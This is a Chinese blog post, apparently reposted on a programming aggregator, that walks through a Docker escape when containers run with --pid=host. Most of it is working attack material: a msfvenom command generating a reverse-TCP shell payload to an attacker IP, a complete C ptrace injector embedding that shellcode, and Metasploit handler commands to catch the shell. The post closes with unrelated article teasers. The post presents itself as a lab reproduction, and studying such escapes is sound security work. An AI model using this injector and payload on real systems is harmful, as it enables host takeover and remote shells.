docker逃逸复现--pid=host模式下的逃逸

news2024/11/15 15:56:25
  1. 漏洞原理

当docker以--pid=host模式启动时,你可以通过在容器进程中注入一些shellcode进行逃逸。相当于给了docker Linux中的CAP_SYS_PTRACE权限

--pid=host:意味着宿主机与容器公享一套pid,如此做容器就可以访问并跟踪宿主机的进程

Linux中的CAP_SYS_PTRACE权限:允许跟踪任何进程

2实验环境

系统环境:ubuntu

docker版本:18.09

挂载的ununtu版本:18.04

攻击者:kali

3.漏洞复现

3.1安装Ubuntu docker 镜像

命令:

docker pull ubuntu:18.04

3.2--pid=host模式下运行docker

docker run -itd --pid=host ubuntu:18.04
docker exec -it db25b85c /bin/bash

结果:

查看进程后发现进程数目变多,是由于--pid=host模式下宿主机与容器公享一套pid导致容器可以跟踪到宿主机的进程,相当于通过宿主机的进程进行逃逸。

由于docker容器中的进程与宿主机上的进程相同, 为方便操作接下来将在宿主机下进行进行实验,二者原理相同。

3.3通过kail中的linux木马进行逃逸

3.3.1通过msfvenom生成shell的回弹木马

命令:

msfvenom -p linux/x64/shell/reverse_tcp LHOST=192.168.239.133 LPORT=12345 -f c
#-p:payload 包含在你用于一次漏洞利用中的ShellCode中的主要功能代码
#LHOST:接受回弹后信息的IP地址
#LPORT:接受回弹后信息的端口
#-f:format生成木马的格式 如:c、bash、js等

结果:

以C语言的形式生成的木马

3.3.2编写回弹语句文件inject.c

文件内容:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>


#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <sys/user.h>
#include <sys/reg.h>

#define SHELLCODE_SIZE 32

unsigned char *shellcode = 
"\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9
\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a
\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05
\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x30\x39\xc0\xa8
\xef\x85\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59
\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a
\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48
\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x26
\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6"; #此处的代码为自己生成的木马


int
inject_data (pid_t pid, unsigned char *src, void *dst, int len)
{
  int      i;
  uint32_t *s = (uint32_t *) src;
  uint32_t *d = (uint32_t *) dst;

  for (i = 0; i < len; i+=4, s++, d++)
    {
      if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
    {
      perror ("ptrace(POKETEXT):");
      return -1;
    }
    }
  return 0;
}

int
main (int argc, char *argv[])
{
  pid_t                   target;
  struct user_regs_struct regs;
  int                     syscall;
  long                    dst;

  if (argc != 2)
    {
      fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
      exit (1);
    }
  target = atoi (argv[1]);
  printf ("+ Tracing process %d\n", target);

  if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
    {
      perror ("ptrace(ATTACH):");
      exit (1);
    }

  printf ("+ Waiting for process...\n");
  wait (NULL);

  printf ("+ Getting Registers\n");
  if ((ptrace (PTRACE_GETREGS, target, NULL, &regs)) < 0)
    {
      perror ("ptrace(GETREGS):");
      exit (1);
    }
  

  /* Inject code into current RPI position */

  printf ("+ Injecting shell code at %p\n", (void*)regs.rip);
  inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);

  regs.rip += 2;
  printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);

  if ((ptrace (PTRACE_SETREGS, target, NULL, &regs)) < 0)
    {
      perror ("ptrace(GETREGS):");
      exit (1);
    }
  printf ("+ Run it!\n");

 
  if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
    {
      perror ("ptrace(DETACH):");
      exit (1);
    }
  return 0;

}

3.3.3编译inject.c文件

命令:

gcc inject.c -o inject #编译后的文件名为inject

结果:

3.4.使用msfconsole监听回弹信息端口

3.4.1开启msfconsole

命令:

msfconsole

结果:

3.4.2创建handler

命令:

use exploit/multi/handler

结果:

3.4.3创建监听的payload

命令:

set payload linux/x64/shell_reverse_tcp

结果:

3.4.4设置接收回弹信息的IP

命令:

set lhost 192.168.232.130

结果:

3.4.5设置接收回弹信息的端口

命令:

set lport 1234

结果:

3.4.6启动监听

命令:

exploit

结果:

回弹监听开启成功

3.5创建开启用于回弹的进程

命令:

python3 -m http.server 6789

结果:

3.6通过创建的进程进行回弹注入

3.6.1查看进程号

命令:

 ps -ef | grep python3

结果:

3.6.2使用inject进行注入

命令:

./inject 47614

结果:

3.7查看监听结果

成功监听到靶机的权限,说明docker容器可以成功逃逸。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/391238.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【微信小程序】-- 页面导航 -- 导航传参(二十四)

&#x1f48c; 所属专栏&#xff1a;【微信小程序开发教程】 &#x1f600; 作  者&#xff1a;我是夜阑的狗&#x1f436; &#x1f680; 个人简介&#xff1a;一个正在努力学技术的CV工程师&#xff0c;专注基础和实战分享 &#xff0c;欢迎咨询&#xff01; &…

MyBatis框架快速入门 - 基本使用

文章目录MyBatisMyBatis基本介绍MyBaits快速入门Mapper代理开发MyBatis配置文件MyBatis MyBatis基本介绍 什么是MyBatis? MyBatis 是一款优秀的持久层框架&#xff0c;用于简化 JDBC 开发 MyBatis 本是 Apache 的一个开源项目iBatis, 2010年这个项目由apache software found…

FPGA实现模拟视频BT656解码 TW2867四路PAL采集拼接显示 提供工程源码和技术支持

目录1、前言2、模拟视频概述3、模拟视频颜色空间4、逐行与隔行5、BT656数据与解码BT656数据格式BT656数据解码6、TW2867芯片解读与配置TW2867芯片解读TW2867芯片配置TW2867时序分析7、设计思路与框架8、vivado工程详解9、上板调试验证10、福利&#xff1a;工程代码的获取1、前言…

【Spring6】| GoF之工厂模式

目录 一&#xff1a;GoF之工厂模式 1. 工厂模式的三种形态 2. 简单工厂模式 3. 工厂方法模式 4. 抽象工厂模式&#xff08;了解&#xff09; 一&#xff1a;GoF之工厂模式 &#xff08;1&#xff09;GoF&#xff08;Gang of Four&#xff09;&#xff0c;中文名——四人组…

前端开发总结的一些技巧和实用方法(2)

本文主要介绍一些JS中用到的小技巧和实用方法&#xff0c;可以在日常Coding中提升幸福度&#xff0c;也可以通过一些小细节来增加代码可读性&#xff0c;让代码看起来更加优雅&#xff0c;后续将不断更新1.数组 map 的方法 (不使用Array.Map) Array.from 还可以接受第二个参数…

一文讲解JDK自带监控工具查看 JVM 情况

在一文带你了解阿里的开源Java诊断工具 &#xff1a;Arthas_出世&入世的博客-CSDN博客这篇文章中介绍了Arthas的强大功能&#xff0c;但是有些生成环境没有安装&#xff0c;所以还是需要会使用JDK 自带监控JVM的工具。 常用的JDK 自带监控工具如下&#xff1a; jps&#x…

CDH大数据平台入门篇之搭建与部署

一、CDH介绍 1.CDH 是一个强大的商业版数据中心管理工具 提供了各种能够快速稳定运行的数据计算框架&#xff0c;如Spark&#xff1b; 使用Apache Impala做为对HDFS、HBase的高性能SQL查询引擎&#xff1b; 使用Hive数据仓库工具帮助用户分析数据&#xff1b; 提供CM安装HBas…

真正的IT技术男是什么样的?

我们经常会听到很多对IT男士的调侃称呼&#xff0c;“屌丝”、“宅男”&#xff0c;会逗的大家捧腹大笑。但是&#xff0c;大家要不要以为称呼IT男是“屌丝”、“宅男”&#xff0c;就当真以为他们是这样了。今天&#xff0c;青鸟学姐就带大家一起来了解一下&#xff0c;真正的…

代码还原小试牛刀(一):魔改的MD5

一、目标 2023年了&#xff0c;MD5已经是最基础的签名算法了&#xff0c;但如果你还只是对输入做了简单的MD5&#xff0c;肯定会被同行们嘲笑。加点盐&#xff08;salt&#xff09;是一种基本的提升&#xff0c;但在这个就业形势严峻的时代&#xff0c;仅仅加盐肯定不够了。 …

原腾讯QQ空间负责人,T13专家,黄希彤被爆近期被裁员,裁员原因令人唏嘘。。...

点击上方“码农突围”&#xff0c;马上关注这里是码农充电第一站&#xff0c;回复“666”&#xff0c;获取一份专属大礼包真爱&#xff0c;请设置“星标”或点个“在看这是【码农突围】的第 431 篇原创分享作者 l 突围的鱼来源 l 码农突围&#xff08;ID&#xff1a;smartyuge&…

【论文速递】WACV 2023 - 一种全卷积Transformer的医学影响分割模型

【论文速递】WACV 2023 - 一种全卷积Transformer的医学影响分割模型 【论文原文】&#xff1a;The Fully Convolutional Transformer for Medical Image Segmentation 【作者信息】&#xff1a;Athanasios Tragakis, Chaitanya Kaul,Roderick Murray-Smith,Dirk Husmeier 论…

app上架专用软著认证电子版权在主流应用商店的使用说明2023年最新版

软著认证电子版权在主流应用商店的使用说明 目录 一、 华为应用商店 二、 腾讯应用宝 三、 小米开放平台 小米应用提交&#xff1a; 小米游戏提交&#xff1a; 四、 OPPO开放平台 OPPO应用提交: OPPO游戏&#xff08;App&#xff09;提交: OPPO小游戏&#xff08;快应…

Python爬虫之用Selenium做爬虫

我们在用python做爬虫的时候&#xff0c;除了直接用requests的架构&#xff0c;还有Scrapy、Selenium等方式可以使用&#xff0c;那么今天我们就来聊一聊使用Selenium如何实现爬虫。 Selenium是什么&#xff1f; Selenium是一个浏览器自动化测试框架&#xff0c;是一款用于We…

2022年数维杯国际大学生数学建模挑战赛B题红VS蓝求解论文及程序

2022年数维杯国际大学生数学建模挑战赛 B题 红VS蓝 原题再现&#xff1a; 在现代战争中&#xff0c;攻守双方都需要引入有效的战争策略&#xff0c;以增加战争威胁并减少损失。只有形成相对稳定、平衡的战争态势&#xff0c;才能尽快实现达成共识的最终目标。 鉴于上述战争问…

代码随想录算法训练营第十七天 | 110.平衡二叉树、257. 二叉树的所有路径、404.左叶子之和

打卡第17天&#xff0c;补卡中&#xff0c;懒狗又歇了几天。 今日任务 110.平衡二叉树257.二叉树的所有路径404.左叶子之和 110.平衡二叉树 给定一个二叉树&#xff0c;判断它是否是高度平衡的二叉树。 本题中&#xff0c;一棵高度平衡二叉树定义为&#xff1a; 一个二叉树每个…

(全网最详细)Mysql下载安装和配置方法(看了必成功)

Mysql下载 MySQL官网下载地址&#xff1a;MySQL 点击进行下载 解压到你想要安装的目录 新建my.ini文件复制以下内容粘贴进去修改basedir安装的目录&#xff0c;datadir安装的目录\data [mysqld] #设置3306端口 port3306 #设置mysql的安装目录 basedir #设置mysql数据库的数据…

KubeSphere 社区双周报 | OpenFunction v1.0.0-rc.0 发布

KubeSphere 社区双周报主要整理展示新增的贡献者名单和证书、新增的讲师证书以及两周内提交过 commit 的贡献者&#xff0c;并对近期重要的 PR 进行解析&#xff0c;同时还包含了线上/线下活动和布道推广等一系列社区动态。 本次双周报涵盖时间为&#xff1a;2023.02.17-2023.…

idea插件推荐

idea插件推荐代码辅助GitHub CopilotAlibaba Cloud AI Coding AssistantTabnine AI Code Completion- JS Java Python TS Rust Go PHP & MoreiCodeJFormDesigner :图形用户界面生成器开发插件Mybatis HelperMaven HelperJPA Supportjava插件ptgGsonFormatPlusFastHotSwappe…

kibana查看日志

一、背景 kibana收集日志功能很强大&#xff0c;之前只是简单的使用&#xff0c;此次系统学习了解并分享一波 二、kibana查看日志的基本使用 1.选择查询的服务和日志文件 注意&#xff1a;每个应用配置了开发与生产环境&#xff0c;需要找到指定的应用 1.1选择对应的应用 1.…

wxpython设计GUI:wxFormBuilder工具常用布局结构介绍之布局四—面板拼接式

python借助wxFormBuilder工具搭建基础的GUI界面—wxFormBuilder工具使用介绍&#xff1a;https://blog.csdn.net/Logintern09/article/details/126685315 布局四&#xff1a;面板拼接式&#xff0c;先Panel面板构图&#xff0c;再使用程序代码在Frame框架上拼接面板 下面讲一下…